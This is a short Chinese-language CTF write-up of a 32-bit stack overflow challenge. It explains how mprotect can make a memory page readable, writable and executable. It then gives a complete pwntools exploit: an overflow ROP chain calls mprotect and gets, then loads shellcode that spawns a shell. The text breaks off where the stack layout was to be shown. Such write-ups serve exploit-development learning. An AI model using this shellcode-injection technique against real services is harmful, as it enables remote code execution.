题目描述

看一下保护

IDA看一眼,明显是栈溢出漏洞

似乎跳转到这里可以,但是远端打不通

发现有函数mprotect,可以通过其修改一段指定内存区域的保护属性(变成rwx,可读可写可执行),从而填充shellcode拿到shell

mprotect函数原型如下:

1
2
3
4
int mprotect(const void* start, size_t len, int prot);
- void* start: 区段开始位置
- size_t len: 区段的大小
- int prot:区段的权限(可以用8进制来表示)

注意

  • 当prot = 7 = 4+2+1 为可读(4)可写(2)可执行(1)
  • mprotect以页为单位,一页为0x1000字节,需要长度对齐,简单来说起始地址必须是0x1000的倍数才能分配成功

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
io = process('./p')
elf = ELF("./p")

mpr_addr=elf.symbols['mprotect']
gets_addr=elf.symbols['gets']

mem_addr=0x080EB000
p3_ret=0x08050b45

shellcode=asm(shellcraft.sh())
payload='a'*0x2d + p32(mpr_addr) + p32(p3_ret) + p32(mem_addr) + p32(0x1000) + p32(0x7)
payload+= p32(gets_addr)+p32(mem_addr)+p32(mem_addr)

io.sendline(payload)
io.sendline(shellcode)
io.interactive()

布栈如下: